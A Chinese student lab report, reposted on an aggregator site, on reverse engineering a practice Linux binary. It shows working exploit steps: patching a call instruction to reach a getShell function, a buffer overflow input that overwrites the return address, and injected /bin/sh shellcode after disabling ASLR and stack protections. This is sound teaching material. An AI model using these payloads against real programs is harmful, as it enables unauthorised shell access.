Exp1 PC平台逆向破解 20154324刘康权

2023-10-15 11:50

本文主要是介绍Exp1 PC平台逆向破解 20154324刘康权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、实践目标

本次实践的对象是一个名为20154324的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

二、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个shellcode并运行这段shellcode。

三、实践知识

1.熟悉Linux基本操作。

  • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。

2.理解Bof的原理。

  • 能看得懂汇编、机器指令、EIP、指令地址。

3.会使用gdb,vi。

4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。

四、实践步骤

一、直接修改程序机器指令,改变程序执行流程

1、下载目标文件pwn1,并讲它拷贝到文件20154324,进行反汇编。并找到getshell函数、foo函数和main函数。

1344859-20180315202722787-1091095415.png
1344859-20180315203541594-1724365441.png
1344859-20180315205241919-273126499.png

由图中可见,main函数中在80484b5地址的''call 8048491''这条指令,会调用地址为8048491的foo函数,而其对应机器指令为“e8 d7ffffff”,根据foo函数中的指令猜测,e8为''call''指令,即跳转指令。按照正常流程,会执行main函数中的下一步,即80484ba地址的指令,此时EIP的值为80484ba,但此时执行call指令,会跳转到8048491,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

那我们想让它调用getShell,只要修改 d7ffffff 为 getShell-80484ba 对应的补码就行。用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff

1344859-20180315210841677-463062139.jpg

2、修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
2.1 用vim编辑器打开文件。

vi 20154324

2.2 在 vim 编辑器中按 Esc 键,输入" :%!xxd "将原格式转换成十六进制显示,结果如下:

1344859-20180315211817255-861876575.png

2.3 输入“ /e8 d7 "找到要修改的内容,并将d7修改为c3。

1344859-20180315213403334-936327121.png

2.4转换16进制为原格式

:%!xxd -r

2.5保存退出

:wq

3、再反汇编看一下,call指令是否正确调用getShell。

objdump -d 20154324 | more
1344859-20180315213815336-692962168.png
查看后,确定正确调用getShell。

4、编译修改后的文件,会得到shell提示符,运行指令查看效果。

./20154324

1344859-20180315214023851-230288725.png

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1、对文件进行反汇编,了解程序的基本功能。

1344859-20180316100956612-1075682574.png
1344859-20180316101003207-431437709.png

由图中可看出,main主函数会调用foo函数,我们将实现main主函数调用getshell函数,并得到getshell函数的地址为“0804847d”。

2、接下来确认缓冲区大小,溢出的部分将会覆盖到返回地址,cpu会尝试执行该部分代码,我们只需要调试出输入多少字符会溢出以及溢出字符的输入输出顺序,即输入字符串后吗,哪几个字符会覆盖到返回地址。把该溢出部分的数字对应上getshell的地址,cpu就会执行getshell。通过gdb进行调试,确认多少字符之后能覆盖以及覆盖到什么位置。

1344859-20180316101705956-1682795089.jpg

我们输入1111111122222222333333334444444412345678进行尝试。
1344859-20180316103141706-1327258875.png

可以由图中看出,1234为溢出字符,且存储为倒序。

3、倒序输入getshell的内存地址即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回车

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并用16进制查看指令xxd,查看input文件的内容是否如预期。
xxd input
1344859-20180316104154181-952507677.png

4、将input的输入,通过管道符“|”,作为20154324的输入,并查看是否达到效果。

1344859-20180317212213029-74540336.png

三、注入Shellcode并执行

1、准备一段Shellcode

shellcode就是一段机器指令,我们这里使用的shellcode是文章“Shellcode”入门中生成的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2、准备工作,修改设置
  • 安装execstack软件apt-get install execstack
  • 设置堆栈可执行execstack -s 20154324
  • 查询文件的堆栈是否可执行.execstack -q 20154324
  • 检测地址随机化状态more /proc/sys/kernel/randomize_va_space
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 检测地址随机化状态more /proc/sys/kernel/randomize_va_space
    1344859-20180316110540672-113640027.png
    如图所示,已完成设置,X表示文件的堆栈可执行,0表示地址随机化。

3、注入shellcode

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,我们这个buf够放这个shellcode了,我们选用前一种方法。

3.1和之前一样,我们把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

注意:最后一个字符不能是\x0a,即回车!

3.2打开一个终端注入这段语句

(cat input_shellcode;cat) | ./20154324
1344859-20180316155439426-1623664556.png
特别注意:只需要按一次回车就行了!

3.3打开另一个终端进行调试

1.查看进程号为:4556
ps -ef | grep 20154324

2.启动gdb进行调试
-gdb
-attach 4556
1344859-20180316155936851-344864312.png

3.4在gdb模式下设置断点,来查看注入buf的内存地址。

disassemble foo

1344859-20180316161252983-1768204397.png
可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。

3.5设置断点后回到另一个终端,按一下回车后再回到该终端进行调试。

-break *0x080484ae
-c
1344859-20180316161347315-1252751588.png

3.6先找到ESP的地址,再根据ESP的地址找到shellcode的地址。

x/16x 0xffffd3bc
1344859-20180316162158439-461666318.png
如图,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4应该紧挨着shellcode,所以shellcode的位置应该是0xffffd3c0

3.7退出gdb模式后,将shellcode写进去

perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(cat input_shellcode;cat) | ./20154324
1344859-20180316163144420-1326433025.png

如图所示,注入攻击成功。

五、心得体会

在这次实践中,我们通过三种方法改变了执行文件的执行流程,三种方法,对应着三种不同的攻击思路,分别是:

  1. 运行原本不会运行的原文件中的片段。
  2. 强行修改文件的执行流程。
  3. 注入自己想要注入的代码并使之运行。

这次的实践,让我感受到网络攻防技术的重要性,即使这次的攻击有一些前提,需要系统存在一些漏洞。而在我看来,漏洞,在大多数电脑中是存在的,也许是操作系统的漏洞,也许是某个软件的漏洞,而这些漏洞,就是电脑安全保卫线中的一个个缺口,也许这些缺口都不大,但是威力却是不容小视的,一旦被攻破,也许自己的电脑就会被别人监控,甚至控制。在之后的课堂上,一定要认真听讲,也一定要多做实践,这样才能学好网络对抗,才能保护好自己的电脑。

转载于:https://www.cnblogs.com/liukangquan/p/8583392.html

这篇关于Exp1 PC平台逆向破解 20154324刘康权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217517

相关文章

流媒体平台/视频监控/安防视频汇聚EasyCVR播放暂停后视频画面黑屏是什么原因?

视频智能分析/视频监控/安防监控综合管理系统EasyCVR视频汇聚融合平台,是TSINGSEE青犀视频垂直深耕音视频流媒体技术、AI智能技术领域的杰出成果。该平台以其强大的视频处理、汇聚与融合能力,在构建全栈视频监控系统中展现出了独特的优势。视频监控管理系统EasyCVR平台内置了强大的视频解码、转码、压缩等技术,能够处理多种视频流格式,并以多种格式(RTMP、RTSP、HTTP-FLV、WebS

综合安防管理平台LntonAIServer视频监控汇聚抖动检测算法优势

LntonAIServer视频质量诊断功能中的抖动检测是一个专门针对视频稳定性进行分析的功能。抖动通常是指视频帧之间的不必要运动,这种运动可能是由于摄像机的移动、传输中的错误或编解码问题导致的。抖动检测对于确保视频内容的平滑性和观看体验至关重要。 优势 1. 提高图像质量 - 清晰度提升:减少抖动,提高图像的清晰度和细节表现力,使得监控画面更加真实可信。 - 细节增强:在低光条件下,抖

JAVA智听未来一站式有声阅读平台听书系统小程序源码

智听未来,一站式有声阅读平台听书系统 🌟 开篇:遇见未来,从“智听”开始 在这个快节奏的时代,你是否渴望在忙碌的间隙,找到一片属于自己的宁静角落?是否梦想着能随时随地,沉浸在知识的海洋,或是故事的奇幻世界里?今天,就让我带你一起探索“智听未来”——这一站式有声阅读平台听书系统,它正悄悄改变着我们的阅读方式,让未来触手可及! 📚 第一站:海量资源,应有尽有 走进“智听

如何解决线上平台抽佣高 线下门店客流少的痛点!

目前,许多传统零售店铺正遭遇客源下降的难题。尽管广告推广能带来一定的客流,但其费用昂贵。鉴于此,众多零售商纷纷选择加入像美团、饿了么和抖音这样的大型在线平台,但这些平台的高佣金率导致了利润的大幅缩水。在这样的市场环境下,商家之间的合作网络逐渐成为一种有效的解决方案,通过资源和客户基础的共享,实现共同的利益增长。 以最近在上海兴起的一个跨行业合作平台为例,该平台融合了环保消费积分系统,在短

Android平台播放RTSP流的几种方案探究(VLC VS ExoPlayer VS SmartPlayer)

技术背景 好多开发者需要遴选Android平台RTSP直播播放器的时候,不知道如何选的好,本文针对常用的方案,做个大概的说明: 1. 使用VLC for Android VLC Media Player(VLC多媒体播放器),最初命名为VideoLAN客户端,是VideoLAN品牌产品,是VideoLAN计划的多媒体播放器。它支持众多音频与视频解码器及文件格式,并支持DVD影音光盘,VCD影

【区块链 + 人才服务】区块链集成开发平台 | FISCO BCOS应用案例

随着区块链技术的快速发展,越来越多的企业开始将其应用于实际业务中。然而,区块链技术的专业性使得其集成开发成为一项挑战。针对此,广东中创智慧科技有限公司基于国产开源联盟链 FISCO BCOS 推出了区块链集成开发平台。该平台基于区块链技术,提供一套全面的区块链开发工具和开发环境,支持开发者快速开发和部署区块链应用。此外,该平台还可以提供一套全面的区块链开发教程和文档,帮助开发者快速上手区块链开发。

K8S(Kubernetes)开源的容器编排平台安装步骤详解

K8S(Kubernetes)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序。以下是K8S容器编排平台的安装步骤、使用方式及特点的概述: 安装步骤: 安装Docker:K8S需要基于Docker来运行容器化应用程序。首先要在所有节点上安装Docker引擎。 安装Kubernetes Master:在集群中选择一台主机作为Master节点,安装K8S的控制平面组件,如AP

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

业务协同平台--简介

一、使用场景         1.多个系统统一在业务协同平台定义协同策略,由业务协同平台代替人工完成一系列的单据录入         2.同时业务协同平台将执行任务推送给pda、pad等执行终端,通知各人员、设备进行作业执行         3.作业过程中,可设置完成时间预警、作业节点通知,时刻了解作业进程         4.做完再给你做过程分析,给出优化建议         就问你这一套下

容器编排平台Kubernetes简介

目录 什么是K8s 为什么需要K8s 什么是容器(Contianer) K8s能做什么? K8s的架构原理  控制平面(Control plane)         kube-apiserver         etcd         kube-scheduler         kube-controller-manager         cloud-controlle